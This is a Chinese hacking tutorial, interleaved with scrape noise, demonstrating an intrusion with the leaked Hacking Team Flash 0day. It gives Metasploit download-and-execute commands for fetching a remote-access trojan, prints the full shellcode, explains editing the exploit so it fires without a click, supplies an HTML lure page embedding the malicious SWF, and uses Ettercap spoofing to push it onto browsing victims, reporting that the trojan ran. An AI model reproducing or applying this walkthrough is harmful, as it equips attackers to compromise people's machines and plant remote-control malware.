3 s5 @8 [9 l7 R5 b8 C
三、flash 0day之手工代码修改制作下载者实例入侵演示
, t7 W, y# W1 I$ E& V 0 g9 j" k. G N) }$ O% _8 K R8 A3 j/ s
7 o! `4 f' E( _- b. D( f 利用到的工具:
6 g8 x% r* t4 p; {0 @" i0 q9 Q
2 s9 p) H* c7 x- J8 r: t
$ h8 G2 f; i& z6 `- v6 t, x, m Msf
# A4 h7 @$ P% o4 A; y , ^/ g# B" J1 |
' r7 s5 ]: ], y- W$ x! v
Ettercap * x7 l F2 `# s) k1 e
) V" s! ]7 f) w) n0 I1 c: }5 U0 n" D8 x* T/ u5 W1 ^! B) A
Adobe Flash CS6 & n5 n! g- l4 e0 H/ ]! d: m
" a2 X% W9 e5 J
1 x& |% H8 A l! M) `- T+ h
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 % n5 O$ C! |5 E0 I$ g% O7 i8 u5 b1 @" [% g
* k: |) K+ D3 B% c9 f
' F7 G8 c U/ ] ?) u( F 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options ! e+ I& ~$ w; u$ m: n/ {0 k
, m; `3 {$ ]& W+ Q. k* K
. H3 x6 \. g) g7 d$ T
如图:
8 |% [" A4 I' ~: N
8 s" T+ g1 |: \0 B- h/ e) n7 c9 M" c& U3 a% T- {) y0 \/ K
- j" r7 |5 c. B+ C' O 5 A k. U2 E5 e, o k* `/ L
! p- v* o: _. y 4 K" F1 H/ s4 C; {4 E7 U7 X. j X
5 T% Z7 C. l$ V5 V, P; j% n, d! R; w
# Y5 z$ H- j$ [/ }( j) e# }3 d2 j% ^ 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
5 a: o0 Z9 S8 q: g
8 n4 V3 X, g7 _( W5 R8 W0 Q' C9 b
* v. T7 y' n6 T+ c
( m5 W7 C# d' i' p) @- ]9 d
8 j" r& x0 I/ a' Y! J9 w
# e- Q; @4 M" L* t
9 F8 J4 b* v3 w1 b6 |$ _
0 ]1 }9 o& @) K' | 然后执行generate -t dword生成shellcode,如下: : t4 q* \' Y9 F# h7 H0 Z& ^
. O8 F7 m0 X, z! i. T5 n
3 b5 q: n- g% G) |7 n/ y
% n8 r F W+ D" a
/ D$ g* }/ `" ^7 U! u) J% v9 ?% O
( ^, d1 J5 C2 `, _& K8 E/ S 复制代码到文本下便于我们一会编辑flash exp,如下:
+ \& R e7 H5 R. z: ?3 R 0 ]; h: Y9 C# E) F1 V
, \, Z o: R- u% } 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 9 u& D9 r) e+ M; P" O5 d) L
$ T6 S i8 S( j; v$ m( Y9 [' T+ z: V2 Y: E3 b* a" u X
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
( `. P. B0 ^" D+ h( P6 {
! i0 N; ?) E K2 t2 m8 ?' F0 D
; |; k2 I' s* X8 k- i 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 4 X* @; C9 C# Y: l6 u: |; t
7 M( W; a6 s6 t5 i. z# ]7 S' ^% ?9 z
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, : s% s* q4 x, O" r. b9 [
9 R0 v5 O7 y5 c, Q. p J) t
; P6 l& Y$ y' A4 B' k
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, ' U- ?, o/ {* U% A; Q+ R
* C x! x0 I, h& @$ e0 ?$ ~3 Z7 t
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
/ H9 d' n' t/ S8 W2 a2 @6 k& @ / w% l4 `1 E+ d* `* G# z$ `
( \4 R; I" F' w* f0 t, Y
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
9 m" P) R( R. w1 c2 D% {8 x 2 B% Z7 a& L# z$ h
$ v: a) k" m( q/ G/ {. d2 f# t5 J
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
$ Y7 O: |6 T8 M9 Q2 E4 g- F8 S' ~7 d/ o , s# I: \ H& L6 `
9 R* A4 K4 r- t 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
7 j" j5 Q* D6 W- | 9 W, I3 N% t, l8 s: u& V
9 q. E. r1 \0 W
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
2 P* R" s' N" D) Z 2 U5 T5 I/ Y1 ^* N8 S8 Z
! S; l5 P. n5 J) X 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 9 J! `3 T2 {0 m1 D+ W% K
5 a/ J' L, ?. \0 D- [& m2 ^ k
6 D- g( |7 j; f# t7 J& \ 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ' }1 Z8 T, s+ b5 b
+ x4 ]% D7 s1 }1 z$ Y
+ c3 n! Y1 w3 W* l7 j$ u5 ~
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, + Q1 Z2 x, T+ L! a$ S/ B$ S
5 Q: B! ?4 P7 U- S6 X8 Z' F" }1 K( b9 G! j4 h; R$ g- g E2 y; K. o b& h& L
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 3 Y1 E% s1 x# h( _$ q
/ l. W5 Q% w" c" M' ], N! Q
# F1 c( B2 C8 G
( P# ?% D( O1 k" E) t% O. k 7 l1 ^8 [( d5 ~" E& e
8 o2 w# [9 k3 w$ r 0 m: s _0 R1 Y! v' y
/ Q" l7 K: d5 k1 G: a
8 O8 c X- [% Y% v 下面我们来修改flash 0day exp,需要修改三个文件,分别为: + n! a3 \! { V+ X& {' r
1 Y$ l+ i. h& }3 Y( N6 E! {
; o2 l9 |) ~, e$ k
7 u& f; c# Z' K. d0 c' E! }
7 M# p \! l: w% x! t! E. l( ~
3 Y" n% X1 U& y) @1 `
先修改ShellWin32.as,部分源代码如图:
) F- w4 m" j6 `0 v' H, ]! c
B6 b2 M6 \5 O. }( g! L7 l" D- M; |3 Z9 Q$ z* Z7 ~' m
1 i' ^" S4 {' y+ ]0 m) m+ W
) }/ q$ ?9 G* Z+ h w' _4 Z8 O7 g# E2 D3 O7 b7 U1 K
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
3 f$ Y. y9 R$ J 2 z' H8 i1 ]) x9 d/ G2 t0 l& w! z
6 H0 z0 ?( n7 G
" G' z) U* b8 A; u l# L 5 K; K7 {% `1 U* ~; y; d
; I4 c& U% `6 t9 B7 g/ d
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 5 {" e+ u) ^2 {: }/ g
3 z3 r* S* [- J7 e# c
u+ d7 d" N+ _$ m/ v: a" Y' A
4 B: m" f; D. {; w" r* W
T7 z4 D9 `5 A0 L: I) i' Z
6 P0 U4 o; |6 J 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
! O) e( }$ f# b- @) J
0 K- j$ s' q0 k* E! y3 J# x
( O# Q' y$ v" R0 ~
9 s% |) R/ |1 J i0 w3 R4 M! n( H6 l' a4 F
$ J- j: U$ T0 \; c ! k/ c4 W# n: a5 c5 G6 E
3 y1 P, E& s" R# Y# Q7 _1 p8 m( [' B8 \% E; ?7 c" z8 S
" t( z9 t8 u# |1 h. G/ p5 u3 | 6 L. m# M4 `7 g7 W
! L q* y9 F2 T( {! s6 p6 T( e 然后点保存,下面我们来编译一下,打开
4 r& V% X" X- F% ?" A$ w* |
0 R- e, Y, n$ `( I, o }+ N% B' \9 m! {$ X/ g& x$ t
exp1.fla然后点文件-发布,看看编译没错误 # L; H( A E# I9 k8 V4 l8 p" f
1 e$ _; h8 D( t
' z$ @6 I |, G3 P! d
0 I2 @+ v$ E: Q; ~5 y& v & ]) N6 b. e0 ~6 Q/ A
1 Y& F, h& C' b0 P
, O6 K5 Q+ B( n6 O. H r8 M 7 N# r9 j2 W. m6 ~; |3 ]
7 U. z8 i- y% {: y0 I
) } ?" y0 g# [/ {" n* j9 ?, L
% B. W( |" l: |9 w8 N9 Y8 @7 q4 `; F: d
1 `8 u; G/ R4 F
; r5 g+ A: y' D& {5 r+ i" i x9 e: Z1 \
然后我们把生成的
6 J9 x$ F3 B% t
+ E$ H1 E/ g1 \/ l: n
. s; @( J, {7 Z exp1.swf丢到kailinux 的/var/www/html下:
* f2 v+ l. C8 `
6 y$ O! Z8 G" @% D9 W8 g- v: X( H& u" v
然后把这段代码好好编辑一下
. b J! e! t4 ^4 m6 W2 t : y3 z( E. `6 H. \. Q: `
+ Z7 D6 C1 p& Y8 o+ P1 I0 g " c% N+ z; {; E) u, j8 N5 p0 Z! ^
+ Q$ W9 i+ N/ K# d& |' H' o3 o& t# i/ ~
4 g8 b) R# Q+ g
5 C3 F1 l- h. n: X9 A
( c+ _( Z8 ^! d9 F" X1 j x' ~
* j' M6 r) z2 a4 e% w
: p* _4 o2 B# s5 M
2 u" h! ^ W8 h / A( C3 n* T" n7 z h% z- } Y
% }6 C Q. ~# h0 b. F
- M- I) R; U5 ?! {& X, Z7 r& G# g" z, j
2 _" I7 V( h% ^
# R' D" {8 V& N: W8 G; n# r" c* }8 G( u# O/ ?1 L- h: }
0 h% X! \7 q7 j7 I; _) V
7 o/ A& W$ u }
6 y1 [; L4 ~$ t* ~6 d <!DOCTYPE html>
. E; V/ Y8 |3 K3 H/ q+ @# k, r+ v
2 g# H `1 S. F T. n+ z4 P L9 v) `) `6 v9 r0 s
<html>
( i& X' D8 b9 u# A1 M4 W0 z- b5 I
`5 p, k3 ?! h: w! z- a4 Y
# c2 f& ~! v% g <head>
- B1 N! s8 I! ]0 o8 B2 y
. C% B7 R; ^; ? Y& {
. ?4 H$ F* i# ? <meta http-equiv="Content-Type" content="text/html;
1 W: f% d' i$ c+ {& ?6 S: N1 A' ? . [$ a! y9 u3 Q
& {& l6 }! j% I9 p* u
charset=utf-8"/> 7 M( u# n: d# R% S, o
G9 I' p. ~( J ?) ^
* i: x$ i0 }9 N
</head> 6 v/ C2 f J+ j6 H3 F
! `) e2 W2 P4 [/ S8 r, R: b
7 d- _8 N' ^2 ~% g7 J2 ~6 r <body>
. _ k1 k7 H3 F' k
( v x4 T8 Q' g5 _# }" o7 g2 y+ j) E. e o9 P# r3 Y" e, |" p
<h2> Please wait, the requested page is loading...</h2>
8 I; ^9 C8 W1 A* ~/ f$ w
! ]0 \& s6 ]% Q6 i( x" h" y
7 t8 c3 w8 K# L, e. J <br> 3 U7 H4 r `1 h. X- v8 v+ i+ C
1 @& T J/ O( O8 ^1 r$ ?/ Y$ k4 v& W' @& p$ W x% x0 y
<OBJECT
/ {% A- e. R0 Z& z/ N" \7 C- Z. } ) K: w! L8 a+ S( r' b+ ~
; W4 m4 s2 V0 d
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie
9 }6 J8 f# ]* j9 t) s3 d0 F 3 ?+ N( P U4 {$ E8 S
* m; H0 b' x) L1 l/ f. u# K/ t VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ! x3 r2 C; J) R# b( @3 [: i3 L
8 A9 P, B" T% i1 D+ j% q$ |9 n, U
, w- [$ i. i6 Q2 V+ i0 M </body> / o6 b% P4 a: R7 ~: H: B$ L2 w
: O1 v2 C# a _
' J- ]" d) K+ D <script>
0 H8 \6 r$ ?6 ]& J T / B5 G4 V7 ~/ {2 U, i6 x
& ]: u- F& m6 z setTimeout(function () { $ {# P4 H9 m% w2 Z) d S$ x( K
& u( Z: j/ L$ j- {! X$ L9 z
, h& ]1 _4 W" |& Z6 C0 I 7 l7 R" k" s7 I( |6 t8 ?
, Y8 c. \' Y) d8 d( i
3 n. C- t+ I, _ {3 V window.location.reload(); : x6 I' J2 P8 @' i7 J& }
m: W# U0 H) {5 ]5 c) w, w3 A4 o) [$ X1 Y' I7 b* A6 B5 v+ j
}, 10000);
/ M2 M# w3 T( ^& B- G, h 4 B% B0 O( H0 a3 T9 E& s
2 ~& ^. v3 H0 P& d" _8 t
! G. o8 u2 L5 }+ _" @( o$ [ ( o$ c1 Z0 Z4 }5 p. [* n
M6 w, }0 o7 V- S0 G( M$ k </script> # \1 \1 L+ a& u% G- H
& V: [3 `( o; U' Y' t- D6 Y3 V
6 i: m0 x: X5 h: _ </html>
# P* c& q; m6 m0 U4 u. j% _
7 I8 q8 l( i2 w, J. @) z) @! {% O, p6 a. }
3 P9 e G. u9 v7 S8 L, S ; w" Z; O9 ~9 N, M8 ], D# \8 |
5 x2 N: \; W! ?0 u; G* M3 f T. C. s8 M 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
: ?# h7 k; _' ]' j1 V 3 f! r: \, E* @
# t6 Y% _( D V( r* v* y
g( b$ ?" C6 D4 J1 S) ]
6 m& l8 P' F' Y+ q* c Y
5 v) k: T4 P- a! N
! r- t% c; x9 |* D4 u$ G
- U+ ^: `) T9 T
2 ^3 N$ N6 e! `7 A/ L& z! y ' O7 z, f. N. X& o
: o% v/ C- g# s+ o
- Q- @$ m: \( a g " |4 r; |& r2 j# T
, u* f; Y, h8 ?. N) c" S+ J
0 } Q( Z4 f& l! S0 f3 U2 c; T
3 A( x) j9 q/ X. J
3 x0 J" V7 M. w1 ~6 g. n8 e" r* S3 C% X4 {- v* B" r: ^
下面我们用ettercap欺骗如图:
3 v% }+ b' S( v+ N- Q7 } ' d0 O, X( j+ _ [- P
' g' E/ ^2 ^- `
! U: o5 h6 p3 ~, e1 w. [5 N$ P
. \) v- S$ B% o# O3 L5 ?2 e; l5 m/ m3 C5 S% j
1 j" g) j9 [5 F! p0 ]) p
8 I9 w1 e6 V; E: F
0 Y5 |6 v N2 N: o& J7 O q 下面我们随便访问个网站看看: 5 q/ x2 t+ j; g3 I/ I
4 R( _1 n0 m5 r8 S+ V+ g
; |9 N) M4 b& V9 i7 _" \. D
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: ?+ m" G- t8 r9 A7 U
% l: n- W& G6 f: A
* q! e' \* r) K# Y* N/ }/ ~" T
0 P: Q3 V& Q. b- h7 l) f: O4 L$ b& v
3 h3 G; l8 S: S$ m, Y& k
% A% t, G6 ]& T5 v2 V 我们看另一台, 5 n% x$ s M5 }# m+ ~9 g* e2 o, |
" x6 ?7 c" g% B Y; }3 ~& R# j# p! w! n0 p
提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
5 h% a) y% M* l& R' J* a |